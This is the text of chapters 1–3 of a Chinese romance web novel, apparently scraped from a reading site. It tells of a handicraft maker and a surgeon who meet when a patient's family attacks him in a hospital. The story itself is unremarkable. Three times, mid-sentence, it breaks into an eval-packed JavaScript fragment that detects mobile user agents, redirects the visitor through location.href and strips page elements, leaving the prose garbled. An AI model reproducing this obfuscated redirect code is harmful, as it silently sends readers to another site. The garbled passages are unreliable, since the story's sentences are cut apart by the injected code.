《逃离雪夜[双向救赎]》 1. 第 1 章 深秋,桐市。 清晨的医院早已进入工作状态,医护人员个个像是脚底踩了风火轮,每个人路过都带起一阵风。 靠在休息椅上补觉的年轻女孩子微微皱了下眉。她没睁眼,迟钝地伸手拢紧身上单薄的外衣领口。 秋日的桐市温差很大,她不爱出门,对气温变化并不敏感,身上只穿了一件卫衣和薄外套,宽松的阔腿牛仔裤下更是连条秋裤都没套,清晨的寒气顺着宽大的裤腿丝丝缕缕地向上钻个没完。 这医院的椅子坐久了很难受,她的身体不由自主地往下滑,腿也无意识地往前伸长。 就是这一个无意识的动作,让她被路过的行人狠狠踩了一脚。 本来困得神志不清的女孩痛得一个激灵,睁开眼就看见十来个老少男女簇拥着一个身体略微佝偻的中年妇女,一行人浩浩荡荡地朝前而去,连给被踩的她道个歉的工夫都没有。 女孩在心里嘀咕了一句没素质,又怕自己真在这睡过去错过叫号,强打起精神,坐直身体,用冰凉的手拍了拍自己的脸颊。 也巧,叫号的系统女声正好响起:“请16号患者姜颂到三号诊室就诊。” 听见自己的名字,姜颂起身略微活动了下僵硬的身体,快步走向相应的诊室。 推开门,里头那位埋头写东西的老头抬头看她,看见她脸的那一刻,老头粗粗的眉毛瞬间拧在一起,又很快松开。 他从胸腔里憋出一声无语的笑,示意她坐下:“医嘱你是一点也不听,又熬夜了吧?” 姜颂熟练地拉开椅子坐下,顶着两个老大的黑眼圈,没精打采地说:“最近接了一个剧组的单子,人家急用,只能加班加点地做。” 姜颂是个“十八般武艺样样精通”的手作娘,经常在网上接单。这段时间有个剧组找到她,定制了一批古装饰品,说拍戏急用,开价非常高。 昨晚上她熬到夜里三点,终于把剧组订的所有饰品都做好并打包,只差今天快递员上门取走给剧组寄过去了。 谁想到一觉醒来,她这常年累积下来的职业病又犯了。 姜颂举起两只手:“这回两只都疼,关节不敢回弯,一动就疼。” 老头眼睛一闭:“你这是劳损过度导致的腱鞘炎,除了好好休息,没有别的好办法。” 姜颂:“要不给我打个封闭吧?” 老头一听,立刻吹胡子瞪眼:“你年纪轻轻的干嘛这么拼命!封闭打多了容易造成不可逆的伤害,你难道不想要这双手了?” 姜颂笑容却有点虚,小声说:“也没那么严重吧,我不会经常打的,这不是情况特殊嘛。” “反正我不建议你打封闭。”老头盯着这年轻人看了三秒,缓缓叹了口气,提笔在处方笺上写了一串“鬼画符”,“先给你开点药吧,你先用着,不好使再说。” 专业老头都这么说了,姜颂便也没坚持,她也没想真把自己变成“手残”。 “什么灵丹妙药都不如你好好休息有用知道吗?至少半个月别再高强度……不,别再做任何手工活!” 最后的最后,姜颂得到了一张全是“鬼画符“的药单,老头把她轰出了门。 姜颂有点发愁,最大的的单子完成了,可是她还有很多散单没做呢,真休息半个月,那得耽误多少事啊。 她郁闷地拿着单子往取药窗口走,刚走出了十来米,经过一间诊室的时候,停了下来。 里面好像有哭声。 好奇心驱使之下,她往那间诊室看了一眼,这一看不要紧,谁料那扇门突然毫无预兆地被人从里面拽开了! 犹如地狱大门洞开,门内本不清晰的嘈杂一瞬间涌了出来,男男女女,老老少少,足有十来个人,一齐堵在门口,拉扯着穿着白大褂的年轻男人。 姜颂认出来,这正是踩了她脚的那群人。 里头有个泡面头的中年阿姨中气十足地喊:“还想跑,拉住他!” 白大褂逃也似的往外冲,挣脱身后的束缚之后惯性使他往前扑去。 变故来得太快,姜颂仿佛灵魂出窍似的僵在原地,眼睁睁看着那高大的白大褂朝自己扑过来。 两人结结实实地撞在了一块。 姜颂感觉自己好像飞出去了几米,但好在摔倒之前被白大褂捞了一把,有惊无险,勉强刹住了后退的脚步。 他比姜颂起码高出一个头,姜颂揉着鼻子,泪眼婆娑地看向对方。 他语速极快地问:“不好意思,你没事吧?” 姜颂还没来得及摇头,白大褂飞快往身后看了一眼,掏出手机迅速按了几下。 “你好,我要报……” 一句完整的话没说完,一个五大三粗的男人蛮横地把白大褂的手机抢了过来。 这男人比白大褂矮很多,但看起来更壮实。他眉毛上方有一道明显的刀疤,令他暴怒的表情显得更加恐怖。 他一把抓住了白大褂胸口的布料,阴恻恻地咬着牙:“你他妈的还真是不怕死。” 白大褂皱眉看着对方无礼的举动,语气冰冷:“请你松手。” “就不松你能怎样!你还敢还手吗?” “就是,杀人偿命,天经地义!” “敢还手今天弄死你!” 这帮人一时间群情激奋,恨不得把那白大褂当场千刀万剐。 姜颂怕波及到自己,下意识贴着墙边往远处躲了躲。 白大褂的手机被男人甩出去,贴着瓷砖一路滑,恰好撞到了姜颂的运动鞋底。 姜颂愣住。 白大褂在看她,姜颂低头去看脚边的手机。 这时,诊室里走出来一位颤颤巍巍的中年女人,哭得双目通红。她走近了便一屁股坐到地上,死死抱住白大褂的腿,又开始了新一轮的嚎哭。 男男女女将白大褂团团围住,白大褂弯腰去扶女人,声音依旧冷静:“您先起来好吗,我已经跟您解释过患者的情况,手术也是经过你们同意的……” 中年女人已经完全丧失理智,“我不管!你当时明明说能治的,就是因为你没好好治,截肢都截到大腿了,这一恶化……老天爷啊,我儿子怎么办啊,他才二十多岁,让我怎么活啊!就是你们医院,就是你,你们这帮庸医!你们必须给我一个说法!” “患者的手术是成功的,恶化并不是手术的问题……”他依然在和对方有理有据地解释着。 姜颂听了一耳朵,大概明白了来龙去脉。 哦,医闹。 她低下头。飞过来的手机屏幕被摔出了一道裂痕,不过好在没有坏,手机那边不时传来警察喂喂的声音。 她又抬头,目光穿梭过层层人群,落在那有些狼狈的白大褂身上。 他专业详细的解释很快淹没在十数名家属愤怒的指责声中,情况一发不可收拾。 方才抢手机的刀疤男双目赤红,一拳打在他的侧脸上,大声咒骂他去死。 路过的人们停下来,纷纷举起手机,却没人敢上去劝和。 姜颂犹豫了。 对方人多势众,看着也不像讲理的主,她帮忙报警的话不知道会不会惹麻烦。 可是…… 再这么下去不知道会不会出事。 姜颂心一横,俯身捡起手机。 她正要找个安全的地方报警,有人从后面揪住她的衣领把她拖得往后退了好几步。 “哎哎哎?” 姜颂差点成了白日里新诞生的吊死鬼。 有个中年男人不知什么时候站到了她的身后,一把抢走姜颂手中的手机,看见上面正在通话中的字样以及110的号码,挂了电话。 那部可怜的手机再次被摔在地上,彻底四分五裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008019|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你他妈的还敢报警?跟你有什么关系啊用你在这狗拿耗子!”中年男人嘴里喷出的沫子飞出老远。 姜颂见来者不善,拔腿就要跑,被过来帮忙的大妈们眼疾手快地拦住了去路。 “哎!?等会儿!等会儿!” 姜颂活了二十几年第一次经历这种场面,心脏扑通扑通地跳个不停,她咽了口唾沫,往后退了几步,强装镇定道:“你们现在离开还来得及,再闹下去警察来了可就不好收场了。” “你吓唬谁呢?那小子治不好病,马上要把我侄子害死了,警察来了我们还得好好说道说道呢!” “你是他什么人呐,多管什么闲事!”中间的大妈往她肩头狠狠一推。 姜颂一个踉跄撞到家属团中的一个人身上,还没等她回过神,就听见推她的大妈喊道:“这小丫头偷偷报警,跟那小子是一伙的,别让她跑了!” 然后不知道从哪里伸出来一只手拽着她的胳膊,把她拖进了家属团的包围的墙角里。 姜颂:“?” 包围圈立刻收紧,像一群饿狼扑食,几乎让人透不过气。 白大褂立刻把姜颂拉到身后,扬声跟众人谈判道:“有什么事咱们可以坐下来好好说,跟别人没关系,你们需要司法鉴定的话我可以陪你们去,但你们不能在这闹了,这里还有很多病人。” 扔手机的男人恶狠狠的目光像要把白大褂身上戳出洞来:“我弟都快被你害死了怎么有脸站在这说这话的!给我打!往死里打!” 姜颂还没从这突发状况中反应过来,挡在身前的白大褂被人粗暴地一脚踹在腹部,没等他缓过神就被数不清的手抓着衣服拽得往前扑去,最后又撞在墙上,发出一声沉闷的响声。 姜颂默默扒紧了背后的墙壁,恨不得自己有穿墙术。 到了这个时候,她才有点后悔去捡白大褂的手机,她应该找个他们看不见的地方直接用自己手机报警的。 她是来看病的,可不想病没看好还被莫名其妙地打一顿啊! 趁着众人的注意力都在白大褂身上,姜颂看准时机就往外跑,可惜没两步就又被人拖了回来,和白大褂一起丢到墙角。 哭声、唾骂声、尖叫声、围观群众的相机拍照声混杂在一起,一度混乱。 姜颂摔了个屁股蹲,她还没爬起来,周围空间就被一拥而上的家属压缩得只剩下一角。 她的手不知被谁踩了一下,痛得她尖叫出声。 眼看着是两人是逃不出去了,白大褂反应迅速地扑在她身上,几乎把她全身包裹住:“抱歉。” 男人的身躯宽大,隔绝了所有的拳打脚踢,护在姜颂身前充当人肉垫子。 姜颂的手指痛得钻心,脑子却是一片空白。 她觉得自己的灵魂好像在出窍,明明是如此紧急的情况,她的脑子里却一瞬间不合时宜地连续涌出八百个无关紧要的小事。 恍惚中,她听见白大褂忍着痛的声音在耳边喊:“蜷起来,抱头,快!” 姜颂游离的神思才终于被拉回来。 医闹这么常见吗,怎么他好像很有经验的样子? 她立刻蜷缩起身子,受伤的手颤抖着抱上头。 白大褂紧紧护住她的头,姜颂整张脸被迫埋在他胸前。 他身上有一种淡淡的薄荷味夹杂着姜颂想不起来名字的木质香。 混乱中,白大褂胸口的名牌掉落,她眼尖地看清了上面的名字。 孟决明。 愤怒的家属终于找到了一个宣泄的口子,丝毫没有停手的意思,反而越打越狠了。 由于离得太近,姜颂明显察觉到他的呼吸越来越急促。 这样下去不是办法。 姜颂急得团团转的时候,终于听见远处有人大声呵斥道:“住手!都给我住手!警察!” 2. 第 2 章 姜颂和孟决明被民警带到了一个单独的房间做笔录。 姜颂忽然觉得基层民警真是个苦差事。 首先,这工作单位隔音环境就差得没边。 “哎呀,我儿子可怎么办啊……”中气十足的哭嚎第三次打断了笔录工作的进行,因为除了噪音什么也听不清。 其次,容易受到莫须有的指控。 “你们都串通好了,就欺负我们小老百姓!” 屋内三人面面相觑,各有各的沉默。 磕磕绊绊地做完笔录,已是二十分钟后。 听着外面七嘴八舌热闹如菜市场,小民警一阵头疼。 他起身从饮水机底下的小柜子里拿出两个纸杯,给他们倒了杯热水。 “先喝点水,等外面处理完了你们再走吧。我去外面看看,能走了我叫你们。” 两人跟小民警道了谢。 小民警来到前厅,看见地上跪着的哭得上气不接下气的老太太,再看看一旁举着手机录视频的亲属团,眼前一黑又一黑。 在场的年轻民警吓得面色苍白,直觉自己的编制在预备跟自己告别,腿肚子一软差点跟着一起跪下:“阿姨,您先起来,我们这不就是在了解情况嘛,您把来龙去脉说清楚,调查结果属实的话我们可以帮助您采取法律手段讨回公道。” 刀疤男没好气地开口嚷嚷:“有什么好说的!就是那小子故意的,他肯定是认出我了,就故意不给我弟弟好好治,害的我弟弟病情恶化!” 听到这里,警察疑惑:“你们有个人恩怨?” 刀疤男脸色一变,缩缩脖子,气焰顿消。 房间内。 姜颂坐在那儿困得眼皮打架,缠着绷带的手捧着装满热水的纸杯,眼睛盯着水面升腾的热气,双目无神。 孟决明偏头看了她几次,以为她是被吓到了,满是歉意:“今天真的不好意思,是我连累你了。那个……” 他说到一半,伸手去摸口袋。 遍寻无果,他才想起手机在医院被甩出去了,后来被带来派出所也没顾得上捡。 他转而看向姜颂:“你加我个微信吧,方便之后我把医药费转给你。” 姜颂没说话,只是反应有些迟钝地看向他的脸。 她这才有机会看清孟决明的脸。 在面对医生这个职业的时候,病人们多半会以貌取人,尤其钟爱白胡子老爷爷或者气质淳朴、其貌不扬的中年叔叔。 可作为一家三甲医院的主任医师,孟决明偏偏哪点都不占。 他肤色偏白,五官俊朗,三庭五眼的比例恰到好处,眉宇间自带书卷气。 是传统审美下的典型帅哥,只是作为医生,这张脸让他看起来实在不够权威。 姜颂微微动了动厚重绷带下的手指,伤口还在隐隐作痛,这下子她想带病赶单也没机会了,她的损失的确不小。 她抿了下干涩的嘴唇。 * 从派出所回去的路上,靠在公交车窗上打盹的姜颂接到了一个电话,正好避免了她坐过站。 她着急忙慌地往家里赶,扶着楼梯扶手平复气息,对等候多时的快递小哥打了个手势,气喘吁吁:“稍等,我去拿。” 姜颂进屋搬了个大箱子出来,不忘对小哥交代道:“这里面的东西怕压怕摔,麻烦你们运输的时候小心一些。” 小哥说没问题,搬着箱子走了。 姜颂回想着自己的打包过程,觉得应该不会出什么大问题,于是准备回家补觉去了。一转头,发现半开着的门被楼道里的风吹得半掩上了,门上又被人贴了小广告。 最近一两个月,只要她稍不注意,门上就会被贴上小广告,撕都撕不干净。 她盯着上面那一串电话号码,磨了磨后槽牙。 在眼神要把门穿出个洞来之前,她忍了又忍,走上前,用力把门上的广告纸撕了下来,攒成一个小纸团,眼不见心不烦地丢进垃圾桶。然后进门拿了酒精喷雾喷在上面,撅着嘴,一点点擦掉胶印。 处理完,她闪身进入家门,整个人脱了力似的瘫在了客厅中央的懒人沙发上。 窗外阳光明媚,室内却是一片柔和的昏暗。 姜颂平时喜欢在客厅茶几上做单,又总嫌阳光太刺眼,客厅的窗帘十天有八天都是拉上的。 昏暗的环境催生睡意,通宵欠下的睡眠在向她讨债,困意席卷,她很快在这种环境下睡了过去。 这样的状态,在她来桐市的两年多里是家常便饭。 两年前,她辞去了老家镇上中学的教师编制,孤身一人来到了桐市这个人生地不熟的地方。 辞去教师编的过往加上她想转行的双重BUFF,让她像留了案底。找工作几次碰壁后,她做了一个手工赛道的自媒体账号,因为擅长研究新花样,三三两两地很快就积累下了一些粉丝。 接着,她趁热打铁在线上开了一家手作品小店,缠花、绒花、热缩、钩织、棉花娃娃、石塑黏土……几乎涵盖了市面上所有类型的手工作品,主攻二次元ip和明星周边赛道。 价格公道,质量优越,小店接的订单只多不少。 生意太好,就容易招来同行的眼红。隔三差五就有同行假装消费者来找茬,还有数不清的抄袭者拿着她的创意压低价格去卖。 以至于姜颂在不分昼夜地做单时,还要腾出一部分精力去处理这些糟心事,简直应接不暇。 可是如果让她选,她还是觉得在老家小镇上当老师的日子更累一些。 手作娘的收入虽说没有那么稳定,却可以不用频繁跟人打交道。对她来说,这就是这份工作最大的闪光点。 傍晚六点多,夜幕四合。房间里彻底暗下来,安静得仿佛无人之境。 姜颂睡眼惺忪地爬起来。 一天没怎么吃东西,她坐起来清醒了一会儿,站起身趿拉着拖鞋去厨房煮面。 等水开的间隙,她打开微信看到了最上方有一条红色的转账提示,来源是一个昵称为M.的陌生人,头像是只四仰八叉躺在床上呼呼大睡的小猫。 姜颂盯着那头像看,回忆这是哪个单主付了尾款过来。 头像里的猫咪肚皮朝上,一片雪白,看不出到底是什么品种。两只耳朵中间到内眼角上方之间有一大块呈倒三角状的深色皮毛,脑门两侧对称地长着两小块细长椭圆的蓝黑色杂毛,乍一看像小猫的眉毛。 她还是没想起来这是谁。 点进对话框,最上面一条是他发来的备注:孟决明,她恍然大悟。 她目光下移,定睛在那金额上,嘴巴缓缓张成O型。 数字二后面跟着四个零。 孟决明给她转了两万块。 她接一单大多数情况下最多也就几百块,饶是她手速快,至少也要做上一两天。 两万块能抵得上她小两个月的收入了! 她的思绪不禁飘回上午派出所的那个小房间内。 孟决明等着她加微信,她却看向他身上那件沾了脚印和血迹的白大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008020|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褂。 经过那场混乱,他脸上也挂了彩,眼角和下巴上泛着淤青。从医院去派出所的路上,姜颂还观察到他走路的动作略有一些迟缓,猜他身上的伤应该不少。 可来做笔录之前他只争取了几分钟给她包扎了伤口,却没顾得上自己。 最终姜颂对他摇了摇头。 但架不住孟决明言辞恳切,反复请求。姜颂实在是不擅长跟人拉扯这种事,还是加了。 她看着那金额,惊讶过后,只觉得这人怪有意思,唇角不自觉地弯了弯。 她这个人就是吃软不吃硬。假如今天孟决明是一副你受伤你活该我又没叫你帮我的态度,她一定要在派出所跟他掰扯明白,即便赔她两万她也要啐他一脸。 但很显然,孟决明的态度端正得有点过分。 所以,姜颂回他:【真的不用了,只是一点皮外伤,你也已经帮我处理过了。】 孟决明没有很快回她,姜颂等了一会儿,锅里的水沸腾起来,她忙着下面去了。 咕噜噜的沸水声中掺杂了一声接着一声的微信提示音。 孟决明:【那也需要养很久。】 孟决明:【收下吧,就当是为了我安心。】 在这场拉锯战中,他发起了一个新的回合。 这种感觉让姜颂没来由地想起一件发生在某一年春节的事。 那年姥姥还在,她们一家和舅舅舅妈到姥姥家一起过年。饭后聊天的时候,舅妈拿出一个红包笑眯眯的递给她,她给舅妈拜了年,正想伸手去接,却被妈妈推拒的手隔开。 妈妈和舅妈好一番你来我往地推拉,被她尽收眼底。那时的她还是个小孩,不懂大人间的弯弯绕绕。 最后,她临走前把红包放回了舅妈那只漂亮的手提包里。回家路上,她开心地跟爸妈讲起这件事,以为会受到夸奖。 可等着她的是母亲瞬间变了的脸色和父亲的责备。 后来她明白了,那是独属于大人之间的“礼貌”——想要也不能直接地说出口。 现在她也是大人了,孟决明大概以为她在“讲礼貌”吧。 拉扯下去毫无意义,她以沉默代替了回答。 面煮得差不多了,姜颂关了火,把灶上的小锅端下来,以锅代碗大快朵颐。 * 笔记本电脑屏幕上打开着一篇没写完的论文,作者却心不在焉地盯着手机,屏幕上闪动的光标似乎在控诉他这种敷衍的态度。 好半晌,那笔转账仍旧没有被接收。 书房的门发出轻微的声响,被来者推开一条小缝,却没见有人进来。 孟决明习惯性地往下看,那里多出来了一只探头探脑的小猫,头顶那块蓝黑色三角在通体银白渐变的皮毛中十分显眼。 小猫的两只眼睛乌黑溜圆,一眨不眨地盯着他。 孟决明笑着朝小家伙招招手。 猫咪喵了一声,迈着优雅的猫步走来。 他放下手机,一把将猫咪抱起来放在膝上。猫咪打了个滚儿,随意在他怀里窝成一团,发出舒服的呼噜声。 此时,桌上的手机进来一通电话。 孟决明的目光扫过来电显示,伸出的手指悬空移到接通键上方,停滞了三秒,胸口发闷。 接通。 他一只手动作很轻地来回在猫咪脑袋上抚摸着,单手把手机贴近耳朵,垂下眼,低低喊了声:“妈。” 电话那头传来女人冰冷又凌厉的质问。 “你被停职了?” 3. 第 3 章 面对母亲带着答案的质问,孟决明承认了。 电话那头的人气得深吸了一口气后继续诘问:“你是不是又多管闲事了?” 孟决明没有回答,他知道即使他不说,母亲想知道也有的是办法知道,而且看样子她已经知道了。 他的沉默换来令母亲怒火中烧。 “你从小就是这个样子,爱多管闲事,从来不考虑后果,觉得自己特正义,特善良是吧?你倒是好心主动接过这块烫手山芋,现在好了,人家缠上你了,都上新闻了,我看你工作都费劲能保住!你怎么就这么蠢!” “怎么不说话?现在哑巴了?当初主动接下这台手术的时候干嘛去了,你不知道你同事们都在找借口推辞的原因吗?一台几乎没有成功几率的手术,你接它干嘛?嫌自己麻烦不够多是不是?” 孟决明语气毫无起伏地辩解:“可那是一条人命。” “就你善良,就你能!你说说你……” 他不再回嘴,静静地受着对面几乎要顺着电话线卷过来的狂风暴雨,垂下了眼。 和姜颂分开后,他在警局的台阶上一个人坐了许久,最后被朋友送回了医院。 然而回到医院,等着他的是停职调查的通知。 回家的路上,他不禁想起那天早上查房时,病人家属边哭边给他下跪的情形,他们言辞恳切,请求他接下这台几乎不可能成功的手术。 他在那之前的几天就已经听说了这位病人的情况,腿部组织坏死,只能截肢才有可能保命。 但坏死的部位有很大可能一直往上蔓延,直到无法再截,直至死亡。 病人的坏死部分已经到了膝盖之上,这次手术之后最多还能再做一次,而且手术成功率极低,转了许多家医院都不敢收。 他们医院收下了病人,却没有医生敢冒这个险。 再拖下去怕是连手术没有做的必要了。 家属急得团团转,抓住了他这唯一一根救命稻草。 而他也确实救了病人的命。 手术成功了,截肢截到了大腿,但好在命保住了。出院那天,家属再次下跪表示感激。 不幸的是,过了两个多月,坏死部位继续往上蔓延了。 即便是华佗在世,也没人能够挽救这条即将逝去的生命。 沉浸在悲伤中的家属找上了他。 当有理有据的解释消失在家属的指责和谩骂中,他才终于明白,他们并不在乎事实如何。 他们只需要把他当成一个发泄的靶子。 他履行医生的职责,认真对待每一条生命,他不认为自己错了。 可是被家属拳脚相向的时候,被医院通知停职调查的时候,他忍不住想,没错的人怎么会被惩罚呢? 母亲愤怒的奚落让他哑口无言。 原本眯着眼享受按摩的猫咪突然睁开了眼睛,仰头望着他微微颤抖的手指。片刻后,小家伙似乎察觉到了什么,爪子忽地抱住他的手,毛茸茸的脸颊在他掌心蹭个不停。 孟决明的颤抖的手旋即恢复了正常,缓慢而又轻柔地继续抚摸着小猫的脑袋。 整通电话持续了半个多小时,孟决明静静听着,再无多余的话。 孟母数落到最后,自己也口干舌燥,尤其孟决明还一声不吭,她就觉得自己一拳打在了棉花上,心里那股火越烧越旺。 怒火无处发泄,她只好恨铁不成钢地说:“你要不是我儿子,就你这个能力水平,你现在还指不定什么德行!” 孟决明紧紧抿着唇。 末了,孟母说:“这段时间停职你给我好好待在家里反省,其他的事不用你管,我会处理。下次遇见这种事,我看你还管不管这闲事!” 没有任何告别语,但听到这里,孟决明悄悄松了口气。 下一秒,如他所料,电话果然戛然而止。 他按熄手机屏幕,轻放在桌面上,最后在小猫身上从头到尾顺了两遍毛,把猫抱起来放在地上,自己起身走出了书房。 小猫一路跟在他后边,来到酒柜前,仰头看见他从里面拿出一瓶啤酒,拉开拉环咕咚咕咚给自己灌了大半瓶下去。 他望着漆黑的窗外发呆。 这样的怒火,这样的奚落,他不知从小听了多少遍。 可惜过了这么多年,他的耐受能力一点也没有提高,语言的暴力总是能伤害到他。 几口喝完剩下的酒,他将易拉罐捏扁丢进垃圾桶,转身进了卧室。 猫咪叫了一声,他也没理。 它坐在地板上看着他关上门,没跟进去。 第二天。 孟决明早早醒来,在健身房里待了一个小时后冲了个澡。然后按照往常的习惯去给猫碗里加满了猫粮。 过了很久,却没见到像往日一样闻声来吃饭的猫。 一种不祥的预感缓缓在他心底升腾。 他走到客厅一看,门开了条小缝。 * 自由职业者工作时间自由,也意味着在实现财富自由之前没有时间自由。 姜颂从做这一行开始,就没有真正地休息过,不是在赶单就是研究新款。 之前接的单子不少,但因为剧组的单子又多又急,她的精力几乎都暂时放在了这单上面,零散的单子有一些做的差不多了,有一些还是半成品。 姜颂挨个跟单主联系,说明情况之后发了进度图,愿意等的给打了折,不愿意的直接给退款,幸运的是没有碰上不好说话的,处理得还算顺利。 所有单子沟通完,姜颂回头看了眼自己那乱得没眼看的工作台,忽然心血来潮,起身把台面上散落的各种乱七八糟的工具和材料分类收纳了起来,还擦了台面。 收拾着收拾着,她从桌面收拾到床,从卧室收拾到客厅,里里外外、彻彻底底地搞了个大扫除。 许久之后,姜颂终于安静下来,拿着抹布,看着一尘不染的屋子忽然觉得自己有点莫名其妙。 她好像有点不适应不需要赶单的生活。 在桐市,她没有朋友,更不爱出门,唯一的爱好就是鼓捣家里那些堆积如山的、花花绿绿的材料,一边听已经看过八百遍的电视剧一边赶单,时间消磨得非常快。 现在手伤了,她暂时失去了这唯一的娱乐项目,生活还真是有点单调。 姜颂幽幽叹了口气,收拾好垃圾,把垃圾袋打了个结,拿着下楼去了。 垃圾桶附近有流浪猫群,时常过来翻垃圾桶找食物。 在姜颂刚搬过来的时候,流浪猫只有三只,后来周围居民有事没事地就爱投喂点吃的,猫的数量简直与日俱增,现在已经发展到十三只了。 猫是多了,但猫群能得到的食物还是那些,再加上流浪猫的生存环境比较恶劣,生病死去的猫也不在少数。 那时候姜颂的小店有了点起色,手里攒了一点钱,她转头就带着小区里的流浪猫们打包去做了绝育手术,还跟老板小亮牛刀,拿了个优惠价。 后来她就一直关注着小区里流浪猫的情况,有事没事就来喂一喂。 姜颂丢完垃圾,熟练地找到一株灌木丛,从里面扒拉出一袋之前藏好的猫粮。 拆猫粮袋子的声音令周围灌木丛里立刻探出了几只猫猫头。 姜颂笑了笑,在不知道谁摆的猫碗里倒了一大堆,猫咪们一哄而上。 她稍微离远了几步,蹲在地上看猫猫们围在一块吃饭,觉得那个碗实在有点小,同时吃饭的猫咪一多就太挤了。 回去得挑个大点的猫食盆放这里。 她这么想着,目光往旁边一瞥,忽然发现多了一只没见过的小猫。 那猫浑身都很干净,看毛色应该是银渐层和其他品种猫的串种,脑门一块呈倒三角状的、颜色稍深的杂毛,像只威风凛凛的银色小老虎。 只是这小老虎并没有外表看起来的那么威风凛凛,而是怯怯地躲在一个小角落里看着抢食的猫群。 小猫似乎感觉到了她的视线,歪着头朝她看过来。 姜颂朝它招招手,它竟然就毫无防备地朝她走过来了! 待它走近,姜颂在手掌里倒了一些猫粮给它,另一只手放下袋子,趁机在进食的猫咪头顶撸了一把。 见猫咪没有抵触的意思,她笑眯眯地继续摸。 小猫忙着吃饭,没工夫搭理她。 姜颂的目光在小猫身上转了一圈,这猫看起来挺干净,不像被遗弃的。 养猫不像是养狗,带狗出门牵绳子不是怕丢,而是怕伤到人,但是带猫出门装猫包是真的怕丢,养猫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008021|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一般不会放心放猫猫自己出门玩。因为狗丢了也许还能自己回来,猫丢了百分之九十那是真的丢了。 她走神的时候猫已经把她掌心里的猫粮吃了个干净,抬起头朝她喵了一声,大概是示意她:再来点! 姜颂回过神,打算再倒一些,正好袋子里只剩了个底,干脆把包装袋整个撕开,连带着猫粮一起铺在地上。 见小猫吃得正香,她没忍住又摸了两下,最后起身:“你慢慢吃吧,我要回家啦。” 她迈着步子慢悠悠往楼上走,她家住三楼,说高不高,可要是爬楼那也得喘两口才行。不过她没事干,义无反顾地上了楼梯。 一直走到家门口,临关门的时候,才发现自己身后多了个“小尾巴”。 那只“银色小老虎”跟来了! 姜颂扒着门,一人一猫视线交接,大眼瞪小眼。 “喵!” “……” 如果这猫真是走丢的,估计也就是刚丢了一两天,说不好它的主人正急得满世界找。 一个念头在姜颂心头转了转,最终被打消了。她对猫说:“我不打算收养小猫,你去别的地方吧。” 小猫不叫也不往前走,就坐在她门前,乖乖仰头看着她。 姜颂一狠心,把门轻轻关上了。 她换了拖鞋进卧室,往床上一躺,还是有点不放心,于是拿手机打开门口的猫眼监控,看见那只小猫在她进门后在原地坐了一会儿才走。 她笑了笑,觉得自己大概是真的有点太无聊了,居然起了养猫的念头。 她能把自己养活明白就不容易了。 姜颂在家里日夜颠倒地宅了好几天,把之前有点印象但没看过的剧都看了一遍,没拆的快递也全拆了一遍,就连家里的材料都被她清点归类了一遍。 她直觉自己再这么无聊地宅下去,身上就要长蘑菇了。 得益于偶然间刷到的一个旅游打卡视频,视频推荐的是一个种满银杏树的公园,金秋时节,公园里到处飘落着金黄色的落叶,好不亮眼。 关键是,这个公园就在她家附近! 姜颂一骨碌从床上爬起来洗漱、化妆、换衣服一条龙,直奔小公园。 小网红的视频没有造假,公园里果真一片金装素裹,远远望去金灿灿的一片,秋日的气息扑面而来,吸引了不少市民来这里观赏和拍照。 但今天是工作日,人流量还没有大到姜颂想掉头回家的程度。 她一边欣赏,一边拿着相机咔嚓咔嚓拍了几十张风景照,不过放在一起看起来都差不多。各种角度的银杏树,弄个九宫格放一块有点像人工验证码。 她望望四周,随手捡了些落在地上的叶子堆成一个桃心形状,又拍了几张才满意,之后就坐到旁边的双人秋千架上,把相机里的照片传到手机里,认认真真地修起图来。 她右手手臂环过右侧的秋千绳保持平衡,无意识地用脚尖轻轻荡着。 一张图没有修完,耳边传来一道温润好听的男声:“旁边位置有人吗?” 姜颂忙着修图,略微抬眼,看见一双男款运动鞋,往上是黑色的裤管。她头也没抬,就顺口答了句:“没有。” 余光里多了一抹黑色,流动的空气里多了一丝若有似无的清苦味,像她前几天涂在淤青处的药膏味。 姜颂走了几秒钟的神,一鼓作气修好了九张图,随后跳转到微信界面,把修好的图勾选上,卡在了文案这一步。 憋了好半天,才配上一句:秋天快乐。 言简意赅,后面配了个落叶的表情。 姜颂欣赏着自己精心设计的排版,点开第一张图片,试图客观地审视这条朋友圈的“含金量”。 往后滑动的时候不小心退了出来,她这才看见朋友圈背景和动态之间多出来一个猫咪头像,后面跟着“你有1条新消息”的字眼。 姜颂愣了愣,点进去。 孟决明给她那条朋友圈点了个赞。 这时候,刚才旁边坐下的人开口说话了:“照片很漂亮。” 姜颂蓦地转头看过去。 